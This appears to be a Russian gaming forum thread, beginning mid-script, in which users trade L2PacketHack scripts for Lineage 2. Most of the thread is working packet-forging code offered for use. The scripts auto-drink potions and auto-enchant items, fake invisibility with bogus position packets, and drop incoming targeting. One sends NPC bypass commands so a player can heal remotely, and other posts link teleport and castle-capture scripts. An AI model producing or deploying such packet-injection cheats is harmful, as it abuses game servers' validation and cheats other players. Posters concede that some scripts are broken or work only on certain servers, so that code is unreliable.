tm.Interval := 1000;
tm.Enabled := true;
tm.OnTimer := @OnTimer;
etext.OnKeyPress := @onNewCommand;
_Name:=tedit.Create(frm);
_Name.parent:=frm;

_Name.Text := '';
frm.Show;
end;

procedure SaveToFile(prefix:string);
var name:string;
begin
name := prefix+'.'+ConnectName+'.'+DateToStr(Date)+'.'+Tim eToStr(Time)+'.txt';
while Pos(':',name) <> 0 do begin
name[Pos(':',name)] := '-';
end;
m.Lines.SaveToFile(name);
end;

procedure Free;
begin
SaveToFile('ChatLog');
box.Free;
every.Free;
tm.Free;
etext.Free;
button.Free;
penel.Free;
m.Free;
frm.Free;
end;



var tp:integer;
var ct:string;
var MessageCounter:integer;
begin
if _Name.Text = '' then _Name.Text := ConnectName;
if FromServer and (ConnectName = _Name.Text) and (pck[1]=#$4a) then
begin
i:=10;
name:=ReadS(i);
message:=ReadS(i);
tp := ReadD(6);
ct := '???';
if tp = 0 then ct := 'GNR';
if tp = 8 then ct := 'TRD';
if tp = 3 then ct := 'PRT';
if tp = 4 then ct := 'CLN';
if tp = 9 then ct := 'ALY';

ct := DateToStr(Date) + ' '+ TimeToStr(Time) + ', '+ ct;

if name='' then name:='Объявление: ';
m.Lines.Add('['+ct+'] '+Name+': '+message);

if MessageCounter > MaxMessages then begin
SaveToFile('Backup');
//m.Lines.Add('BACKUPED');
MessageCounter := 0;
end;
MessageCounter := MessageCounter+1;
end;
end.

ISharkI
09.11.2009, 18:40
Скрипт называется MasterPvP может у каго нету=)

//by mks
//помошник в PvP и PK.
//пьет CP и HP пробирки в нужное время(можно добавить и MP для пвп серваков), и освобождает вас от небоходимости зажатия клавиши Ctrl, которая так меня раздражает!(думаю это раздражает и не только меня)
///////////////////////////////////////////////////////
///////////////Master PvP by MKS v.1.0/////////////////
///////////////////////////////////////////////////////

//после активации скрипта необходимо выпить сначала банку CP, потом HP для получения их ID
const
Name='Name'; //ник перса
var
CurHP,MaxHP,CurCP,MaxCP: integer;
CPuse,HPuse: string;

TimerCP,TimerHP: TTimer;

procedure Init; //Вызывается при включении скрипта
begin
TimerCP:=TTimer.Create(nil);
TimerCP.OnTimer:=@OnTimerCP;
TimerCP.enabled:=false;
TimerCP.interval:=10000; //интервал 1сек, т.к. чаще пить CP всеравно не будет, дабы не засорять трафик

TimerHP:=TTimer.Create(nil);
TimerHP.OnTimer:=@OnTimerHP;
TimerHP.enabled:=false;
TimerHP.interval:=15000; //интервал 15сек, т.к. действие одной бутылки = 15сек
end;

procedure OnTimerCP(Sender: TObject);
begin
buf:=CPuse;
SendToServerEx(Name);
end;
procedure OnTimerHP(Sender: TObject);
begin
buf:=HPuse;
SendToServerEx(Name);
end;

procedure Free; //Вызывается при выключении скрипта
begin
TimerCP.free;
TimerHP.free;
HPuse:='';
CPuse:='';
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
//пьем сначала CP, потом HP банку что б запомнить их ID(я решил взять эти пакеты целиком, дабы не усложнять)
if FromClient and (ConnectName=Name) and (pck[1]=#$14) and (CPuse='') then CPuse:=pck;
if FromClient and (ConnectName=Name) and (pck[1]=#$14) and (CPuse<>pck) and (HPuse='') then HPuse:=pck;

//считываем текущие и максимальные значения CP и HP
if FromServer and (pck[1]+pck[6]=#$0E#$04) then
begin
CurHP:=ReadD(14);
MaxHP:=ReadD(22);
CurCP:=ReadD(30);
MaxCP:=ReadD(38);
end;

if CurHP<>0 then
begin

//если вы используете не грэйтер CP то вместо 200 подставьте кол-во CP сколько восстанавливает 1 банка
if (CurCP<MaxCP-200) and (CPuse<>'') then TimerCP.enabled:=true else TimerCP.enabled:=false;
if (CurHP<MaxHP) and (HPuse<>'') then TimerHP.enabled:=true else TimerHP.enabled:=false;

//если используем скилы или заклинания добавляем флаг Ctrl, что б не надо было удерживать контрол
if FromClient and (ConnectName=Name) and (pck[1]=#$2F) then pck[6]:=#$01;

//если наводим таргет, повторное нажатие по нему подменивается на атаку, опять же что б не удерживать контрол
if FromClient and (ConnectName=Name) and (pck[1]=#$04) then pck[1]:=#$0A;
end
else
begin
TimerHP.enabled:=false;
TimerCP.enabled:=false;
end;


end.

H0oL1GaN
09.11.2009, 20:35
Все скрипты Роботают на Интерлюде, некоторые из них роботают и на С4, может и на камаеле, лично кроме интерлюда не тестил.
В самих скриптах написано где они роботают.
вот Пример: Скрипт слежки за РБ © NLObP , в самом скрипте есть строчка :
interlude=true; //Interlude - true, C4 - false
ето значит что роботает на ИТ\С4.
для ИТ стоит "True" , если вы играете на С4 в етой строчке нужно поменять "True на false" и сохранить.
Вот вроде нормально)

**********

раз так то выложу скипт на тп каторым пользуюсь я хД он круче чем скрипт NLObP'а
Автор скрипта © tiranous

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

**********

А вот скрипт , слежка за РБ ставите твинка возле рб и когда он появится то твинк будет строчить тому кому надо в ПМ
Автор скрипта © NLObP

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

**********

Скрипт, Бегущий титул
title := 'Admin postav norm inet lagaet ppc!!! '; - тут ставим текст каторый хотите что б двигался
titleoff := 'ea DRAKON nax #1'; - а ето ваш титул каторый будет стоять после выключения скрипта
Автор скрипта © Br1nk

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])


**********

Ах, вот еще скрипт на ловлю рыбы, описание всередине..
Автор © NLObP

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

**********

Скрипт, ТП к сопартийцу
Автор © CrazyS

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

**********

Такс, нашол еще скрипт, для быстрого захвата замка, походу ТПшыт в тронку , сам им непользовался т.к. нетребовался в нём, ето чтото наподобе простого ТП скрипта.
Автор © SeRk

• Depositfiles ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
• Dump.ru ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

**********

Думаю отчёта с вирус тотала ненадо, т.к. ето простые .тхт файлы)
да еще и я не занимаюсь таким))

Пользуемся :D) на здоровье)
Не забываем жать ©П©)))

P.S. - Если гдето не та ссылка ну например 2 одинаковые ссылки, то пишыте я перезалью, просто я быстро писал может гдето чтото пропустил)

igormon
10.11.2009, 14:03
const
nik='NIK'; //сюда свой ник
Enchant=5;

var
UseItem, EnchantItem: string;
Count, CurrentEnch: integer;
Timer01: TTimer;

procedure Init;
begin
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=3200; //скорость точки
end;

procedure OnTimer01(Sender: TObject);
begin
buf:=UseItem;
SendToServerEx(nik);
buf:=EnchantItem;
SendToServerEx(nik);
end;

procedure Free;
begin
Timer01.free;
count:=0;
CurrentEnch:=0;
end;

begin
if FromServer and (pck[1]=#$87) then
begin
CurrentEnch:=ReadD(2);
if CurrentEnch=Enchant then Timer01.enabled:=false;
end;
if FromClient and (pck[1]=#$19) then UseItem:=pck;
if FromClient and (pck[1]=#$5F) then EnchantItem:=pck;
if FromClient and (pck=#$34#$02#$00#$00#$00) then
begin
pck:='';
Timer01.enabled:=not(Timer01.enabled);
end;
end.


ВОТ НОРМ СКРИПТ НА АВТО ТОЧКУ.....здесь не надо нечего делать кроме как сперва врубить скрипт, 1 раз заточить и нажать соц. действие привецтвие..... токо есть одна проблема оно точитса без ограничения.....переделайте плз этот скрипт чтобы останавливалось до указанои точки очень прошу.....

ISharkI
10.11.2009, 16:03
Антитаргет (пробывал на 3.1.9)
var act:integer; me1:char; me2:char; me3:char; me4:char; nm:integer; t1:char; t2:char; t3:char; t4:char; nt:integer; shade:integer; mz:integer; pz:integer; tz:integer; hz:integer;

procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;

begin


//анализ ИД себя

if nm<>1 then
begin
if FromServer and (pck[1]=#$04) then
begin
me1:=pck[18];
me2:=pck[19];
me3:=pck[20];
me4:=pck[21];
nm:= 1;
end;
end;


//защитная часть

if FromClient and (pck[1]=#$1B) and (pck[2]=#$06) then
begin
act:=1;
SendMsg('AT system on');
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$05) then
begin
act:=0;
SendMsg('AT system off');
end;

if FromClient and (pck=#$38#$3C#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
mz:=1;
SendMsg('Advanced m.def on')
end;

if FromClient and (pck=#$38#$3C#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
mz:=0;
SendMsg('Advanced m.def off')
end;

if FromClient and (pck=#$38#$3F#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
pz:=1;
SendMsg('Advanced p.def on')
end;

if FromClient and (pck=#$38#$3F#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
pz:=0;
SendMsg('Advanced p.def off')
end;

if FromClient and (pck=#$38#$42#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
tz:=1;
SendMsg('Anti-target on')
end;

if FromClient and (pck=#$38#$42#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
tz:=0;
SendMsg('Anti-target off')
end;

if FromClient and (pck=#$38#$45#$04#$2B#$00#$00#$00#$03#$00#$00#$00) then
begin
hz:=1;
SendMsg('Hit"n"Hide on')
end;

if FromClient and (pck=#$38#$45#$04#$2D#$00#$00#$00#$03#$00#$00#$00) then
begin
hz:=0;
SendMsg('Hit"n"Hide off')
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$03) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;

if act=1 then
begin

if tz=1 then
begin
if FromServer and (pck[1]=#$29) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if mz=1 then
begin
if FromServer and (pck[1]=#$48) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) and (pck[2] <> me1) and (pck[3] <> me2) and (pck[4] <> me3) and (pck[5] <> me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if pz=1 then
begin
if FromServer and (pck[1]=#$05) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) and (pck[2] <> me1) and (pck[3] <> me2) and (pck[4] <> me3) and (pck[5] <> me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

if hz=1 then
begin
if FromServer and (pck[1]=#$48) and (pck[6] = me1) and (pck[7] = me2) and (pck[8] = me3) and (pck[9] = me4) then
begin
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
end;
end;

end;


//часть таргета

if FromClient and (pck[1]=#$04) then
begin
nt:=1;
t1:=pck[2];
t2:=pck[3];
t3:=pck[4];
t4:=pck[5];
end;

if FromClient and (pck[1]=#$37) then
begin
nt:=0;
end;

if nt=1 then
begin
if FromClient and (pck[1]=#$30) then
begin
buf:=#$04+t1+t2+t3+t4+#$00#$00#$00#$00#$00#$00#$00 #$00#$00#$00#$00#$00#$00;
SendToServer;
buf:=#$A6+t1+t2+t3+t4+#$00#$00;
SendToClient;
end;
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$04) then
begin
buf:=#$04+t1+t2+t3+t4+#$00#$00#$00#$00#$00#$00#$00 #$00#$00#$00#$00#$00#$00;
SendToServer;
buf:=#$A6+t1+t2+t3+t4+#$00#$00;
SendToClient;
end;

//shadowmelt

if FromClient and (pck[1]=#$1B) and (pck[2]=#$07) then
begin
shade:=1;
buf:=#$48#$00#$00#$FE#$FF#$7F#$AB#$03#$00#$E9#$F1# $FF#$FF#$88#$D4#$00#$00#$00#$00#$00#$00;
SendToServer;
SendMsg('Skipped to Shadows');
end;

if FromClient and (pck[1]=#$1B) and (pck[2]=#$08) then
begin
shade:=0;
buf:=#$30#$00#$00;
SendToServer;
SendMsg('Reveal from Darkness');
end;

if shade = 1 then
begin
if FromClient and (pck[1]=#$30) then pck:='';
end;

end.

И так управление - нажимает Social Yes, система запущена, но еще не подключены модули... Подключаем те которые нам нужны...

пишем в ПАТИ ЧАТ:

т+ / т- - Включение/Выелючение АВТО антитаргета - таргет сбрасывется когда вас БЕРУТ НА ТАРГЕТ, тоесть он пытается выделить, а вы сбрасываете!

м+ / м- , п+ / п- - дополнительная магическая и физическая защита, непомню уже сам как работает (да у меня и не работает, изза лагучести инета) но знакомый говорит, если включить их в паре, то сбивает каст когда пытаются кастануть на вас заклинание, и "ичезает" прямо во время физической атаки на вас...

х+ / х- - уход в хайд после каждой своей физической атаки

Там есть еще такая штукенция, что после хайда, предыдущий таргет выберется автоматом (этого не видно в клиенте но он выделится, протестите на мобах)

Social Bow / Social Unaware - исчезнуть и появится, ну это кусок скрипта ХИНТА на его антитаргет.}

Добавлено через 6 минут
Инвиз
(только при том вы не можите двигаться а просто исчезаете, сильной полезности нет , но может кому нить пригодиться)

И так управление - нажимает Social Yes,No

//Invisible Mode
var
pck48:string;
hidden:boolean;
i,x,y:integer;

procedure Init;
begin
hidden:=false;
pck48:='';
randomize;
end;

procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(2);
WriteS('hLaPEx');
WriteS(msg);
SendToClient;
end;

begin
if FromServer then exit;
case ord(pck[1]) of
$1B:case ord(pck[2]) of
$05:begin
SendMsg('invisible_mode: Off');
pck:=#$30;
hidden:=false;
end;
$06:begin
if pck48='' then exit;
SendMsg('invisible_mode: On');
hidden:=true;
pck:=pck48;
i:=2;
x:=ReadD(i);
y:=ReadD(i);
x:=x+1000+round(random*200)-100;
y:=y+1000+round(random*200)-100;
buf:=pck;
WriteD(x,2);
WriteD(y,6);
pck:=buf;
end;
end;
$48:pck48:=pck;
$30:if hidden then pck:='';
end;
end.

Ни одно ни другое что то нехочет работать :pandal: Пишет ошибка в этой строчке procedure SendMsg(msg:string);

H0oL1GaN
10.11.2009, 17:04
да не роботают ети скрипты, первый наполовину робочий.. когда нажываеш социалбов то ты как будто исчезаеш, стоиш на месте но бить тебя не могут, и ето только на некоторых серверах роботает..

что б первый зароботал , я делал текст инит ,в версии 3.4.1.81 и когда у меня выделяло то что плохо написано я просто удалял там какраз строчку ету:
procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;


и сохраняеш, и должно роботать , у меня впринцыпе роботало .. но говорю еще раз на малом количестве серверов, и зависит от сборки

TAMBIK
10.11.2009, 20:36
надо добавить 2 к SendMsg везде
как пример :
SendMsg2(надо добавить 2 к SendMsg везде);

procedure SendMsg2(msg:string);

6a4a
14.11.2009, 10:49
Вопрос не в тему конечно, но если кто умеет писать скрипты, скажите плиз какие тут используются языки программирования, а то понимаю отдельные строки но в целом не могу понять, а так как занимаюсь веб программированием смогу в легкую разобраться и писать сам скрипты и тут выкладывать, мб есть какая то литературка почитать? Можно все в ЛС писать

_[Ссылки могут видеть только зарегистрированные и активированные пользователи]


ВОТ НОРМ СКРИПТ НА АВТО ТОЧКУ.....здесь не надо нечего делать кроме как сперва врубить скрипт, 1 раз заточить и нажать соц. действие привецтвие..... токо есть одна проблема оно точитса без ограничения.....переделайте плз этот скрипт чтобы останавливалось до указанои точки очень прошу.....

ну, раз так хочется - лови:


const
nik='NIK'; //сюда свой ник
Enchant=5;

var
UseItem, EnchantItem: string;
Count, CurrentEnch: integer;
Timer01: TTimer;

procedure Init;
begin
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=3200; //скорость точки
end;

procedure OnTimer01(Sender: TObject);
begin
buf:=UseItem;
SendToServerEx(nik);
buf:=EnchantItem;
SendToServerEx(nik);
end;

procedure Free;
begin
Timer01.free;
count:=0;
CurrentEnch:=0;
end;

begin
if FromServer and (pck[1]=#$87) then
begin
if ReadD(2)=0 then inc(CurrentEnch);
if CurrentEnch=Enchant then Timer01.enabled:=false;
end;
if FromClient and (pck[1]=#$19) then UseItem:=pck;
if FromClient and (pck[1]=#$5F) then EnchantItem:=pck;
if FromClient and (pck=#$34#$02#$00#$00#$00) then
begin
pck:='';
Timer01.enabled:=not(Timer01.enabled);
end;
end.

TAMBIK
14.11.2009, 14:51
begin
if FromServer and (pck[1]=#$87) then
begin
if ReadD(2)=0 then inc(CurrentEnch);
if CurrentEnch=Enchant then Timer01.enabled:=false;
end;

здесь пакет от сервера о заточки 87
на разных сервах по разному приходит инфа
есть : 0-заточили.2- отмена.3-сломали.
а есть приходит уровень на какой заточили предмет

TAMBIK
15.11.2009, 15:49
Простенький скрипт для "глухих", перенаправляет сообщения
немного добавил
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
//===========================================

myname='TAMBIK'; //<<== пишем свой НИК

//===========================================
// открыть управление соцдействие ДА
// Автор mks . coderx.ru .добавил TAMBIK
//===========================================
HTML='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<font color="04fbfb">Cкрипт сообщения на экран</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.Squarewidth" width=260 height=1>'+
'<font color="04fbfb">системные сообщения</font><br>'+
'<button value=" Trade " action="bypass Trade" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" Party " action="bypass Party" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" Clan " action="bypass Clan" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" Alli " action="bypass Alli" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" P M " action="bypass PM" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" Hero " action="bypass Hero" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="LEVEL"> mks </font><br>'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<button value=" стоп" action="bypass stop" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+
'<img src="L2UI.SquareWhite" width=60 height=1>'+
'<img src="L2UI.Squarewidth" width=60 height=4>'+
'<font color="LEVEL">TAMBIK</font><br>'+
'</center></body></html>';
//==========================================

var
Bypass:string;
autoText:Boolean;
TextType:integer;

//==========================================
// ShowHTML(HTML);
Procedure ShowHTML( _html : string );
begin
buf:=#$19;
WriteD(5);
WriteS(_HTML);
SendToClientEx(myname);
end;
//========================
procedure ActionUse; //2=PM, 3=Party, 4=Clan, 8=Trade, 9=Alli, 17=Hero
begin
Bypass:=ReadS(2);
case Bypass of
'Trade':begin autoText:=true;TextType:=8; end;//Trade
'Party':begin autoText:=true;TextType:=3; end;//Party
'Clan':begin autoText:=true;TextType:=4; end;//Clan
'Alli':begin autoText:=true;TextType:=9; end;//Alli
'PM':begin autoText:=true;TextType:=0; end;//PM
'Hero':begin autoText:=true;TextType:=17;end;//Hero
'stop':begin autoText:=false;TextType:=0;end;
end;
end;
//-----------------------------------------
procedure Init;
begin
TextType:=0;
autoText:=false;
end;
procedure Free;
begin

end;
//Tип: 0x4A (CreatureSay)
//Pазмер: 83+2
//Время прихода: 12:35:56:375
//0002 d ObjectID: 268899150 (0x1007134E)
//0006 d TextType: 15 (0x0000000F)
//000A s CharName: MaFaca
//0018 s Text: ВТТ ВАШ СЕПОР С СА, ПРЕДЛЫ ПМ
//=========================
begin
//не обрабатываем пустые пакеты
if pck='' then exit;
if FromClient and (pck[1]=#$34) and (ReadD(2)=06) then begin ShowHTML(HTML); pck:='';exit;end;
if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; //
if FromServer and autoText and (pck[1]=#$4A) and (ReadD(6)=TextType) then begin
buf:=pck;
WriteD(15,6);
pck:=buf;
end;
end.

TAMBIK
24.11.2009, 10:37
для Gracia Final
в скрипте находим

/===========================================
procedure CreateItemBase;
var
i, j, ListCount : integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
end;
j:=4;
ListCount:=ReadH(j);
j:=8;
for i:=1 to ListCount do begin
ItemBase[1,i]:=ReadD(j);
ItemBase[2,i]:=ReadD(j);
inc(j,4);
ItemBase[3,i]:=ReadD(j);
inc(j,48); // <<<< == ДОЛЖНО БЫТЬ ТАК
end;
StringList.Clear;
try

ISharkI
24.11.2009, 15:46
Скрипт реально работает, на всех сборках la2base и везде где у бафера есть кнопки heal,cp,mana,Лично проверял.//Скрипт на регенерацию Маны,Хп,Цп на сервере *****
//Для активации окна введите в парти чат '.window'
//Перед включением скрипта нужно стоять рядом с бафером!
//Для регенерации хп нужно просто посылать '.heal' в парти чат
//Работает на сервер где есть у бафера регенерация хп мп цп
//Версия 6.0 Final
//Автор Crazy$

var
// переменная
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;
a:integer; b:boolean; d:integer; f:integer; v:integer;

procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми в таргет бафера и сделай шаг!');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
//защитная часть
begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
begin
if FromClient and (pck[1]=#$48) then
begin
v:=ReadD(14); n:=ReadD(18);
end;
end;
//запоминание пакета ValidatePosition
if FromClient and (pck[1]=#$48) then ValidatePosition:=pck;
if pck='' then exit;
if fromclient and (pck=#$38#$2E#$00#$77#$00#$69#$00#$6E#$00#$64#$00# $6F#$00#$77#$00#$00#$00#$03#$00#$00#$00) then
begin
buf:=#$04;
WriteD(a);
WriteD(c);
WriteD(d);
WriteD(e);
WriteC(f);
SendToServer;
buf:=#$48;
WriteD(c);
WriteD(d);
WriteD(e);
WriteD(v);
WriteD(n);
SendToServer;
buf:=#$21;
Writes('npc_'+inttostr(a)+'_restore hp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore mp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore cp 1');
SendToServer;
buf:=hstr('37 01 00');
SendToServer;
//отсылка пакета ValidatePosition, запомненого ранее
buf:=ValidatePosition; SendToServer;
end;
begin
if FromClient and (pck[1]=#$48) then ValidatePosition:=pck;
if pck='' then exit;
if FromClient and (pck=#$38#$2E#$00#$68#$00#$65#$00#$61#$00#$6C#$00# $00#$00#$03#$00#$00#$00) then
begin
buf:=#$48;
WriteD(c);
WriteD(d);
WriteD(e);
WriteD(v);
WriteD(n);
SendToServer;
buf:=#$21;
Writes('npc_'+inttostr(a)+'_restore hp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore mp 1');
SendToServer;
buf:=#$21;
WriteS('npc_'+inttostr(a)+'_restore cp 1');
SendToServer;
//отсылка пакета ValidatePosition, запомненого ранее
buf:=ValidatePosition; SendToServer;
end;
end;
end.

TAMBIK
26.12.2009, 13:51
мб надо галчки потавить?),сори за оф топ

для версии l2phx выше 100
прописать путь к файлу ItemsID.ini
в скрипте находим
//RequestItemList вызываем инвентарь
buf:=hstr('14');
SendToServerEx(Name);
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
msg.Lines.Add('itemsid.ini не найден!');
exit;
пишем так :
ItemsName.LoadFromFile('settings\ItemsID.ini');

TAMBIK
29.12.2009, 23:23
Еще работает кое где
// автор ТАМБИК
// Kamael-Hellbound
const
Name = 'TAMBIK'; // Имя
procedure Init;
begin
end;
procedure Free;
begin
end;
// пати сам с собой
// чара кто будит приглашать в пати и предлогать трейд .можно грузить без l2phx
// кидаешь чару TAMBIK пати - скрипт принимает пати - 1раз
// кидаешь чару TAMBIK трейд - скрипт принимает пати - не больше
// положеного колличества членов пати
// передаешь чару TAMBIK лидера пати
// выходишь из пати .итог = >> чар TAMBIK с собой в пати
//основная часть скрипта
//выполняется при приходе каждого пакета если скрипт включен
begin
if FromServer and (pck[1]=#$39) then begin // вам приглашение в пати
buf:=#$43;
WriteD(1); // принять пати
SendToServerEx(Name);
pck:='';
exit;
end;
begin
if FromServer and (pck[1]=#$70) then begin// вам трейд
buf:=#$55;
WriteD(1); // принять пати
SendToServerEx(Name);
pck:='';
exit;
end;
end;
end.

ISharkI
06.01.2010, 09:41
//FreedomEmulator v1.0beta
//скрипт скрывающий нпс и\или игроков
//помогает снять нагрузку с несчастного клиента
//при убивании пакетов активность можно посмотреть в отдельном окне
//тестировался на la2c6 abyss 10alpha
//(c)metalFan
const name=('metalFan');
var
frm,frm2: TForm;
Button1,Button2,Button3,Button4,Button5: TButton;
m:TMemo;
box:TGroupBox;
i,k,RaceID,SexID,ClassID: integer;
r1,r2,r3,s:boolean;
CharName,FName,VictimName,race,sex,class,message: string;
Inventory: array[0..79,0..9] of integer;
IdItem:real;
zu:Tlabel;
procedure Init; //Вызывается при включении скрипта
begin
//формочка
frm2 := TForm.Create(Application);
frm2.Caption := 'Activity (player\class\race\sex)';
frm2.BorderStyle := bsSizeable;
frm2.Position := poDesigned;
frm2.Width:=300;
frm2.Height:=200;
frm2.OnClose := @FormClose;
frm := TForm.Create(nil);
frm.Caption := 'FreedomEmulator by metalFan v1.0b';
frm.BorderStyle := bsDialog;
frm.Position := poScreenCenter;
frm.Width:=295;
frm.Height:=120;
frm.OnClose := @FormClose;
box:=TGroupBox.Create(nil);
box.parent:=frm;
box.Width:=273;
box.Height:=73;
box.Left := 8;
box.top := 8;
box.align:=alnone;
zu:=Tlabel.create(nil);
zu.parent:=frm;
zu.Width:=73;
zu.Height:=25;
zu.top:=52;
zu.left:=184;
zu.Caption:=('(c)metalFan');
zu.Transparent := False;
zu.Visible := True;


m:=TMemo.Create(frm2);
m.parent:=frm2;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
Button1 := TButton.Create(frm);
Button1.Parent := frm;
Button1.Caption := '>.<';
Button1.Left := 16;
Button1.Top := 16;
Button1.onClick := @Action1;
Button1.OnMouseMove := @Button1MouseMove;
Button2 := TButton.Create(frm);
Button2.Parent := frm;
Button2.Caption := '>.<';
Button2.Left := 96;
Button2.Top := 16;
Button2.onClick := @Action2;
Button2.OnMouseMove := @Button2MouseMove;
Button3 := TButton.Create(frm);
Button3.Parent := frm;
Button3.Caption := '>.<';
Button3.Left := 16;
Button3.Top := 48;
Button3.onClick := @Action3;
Button3.OnMouseMove := @Button3MouseMove;
Button4 := TButton.Create(frm);
Button4.Parent := frm;
Button4.Caption := '>.<';
Button4.Left := 96;
Button4.Top := 48;
Button4.onClick := @Action4;
Button4.OnMouseMove := @Button4MouseMove;
Button5 := TButton.Create(frm);
Button5.Parent := frm;
Button5.Caption := '>.<';
Button5.Left := 176;
Button5.Top := 16;
Button5.onClick := @Action5;
Button5.OnMouseMove := @Button5MouseMove;
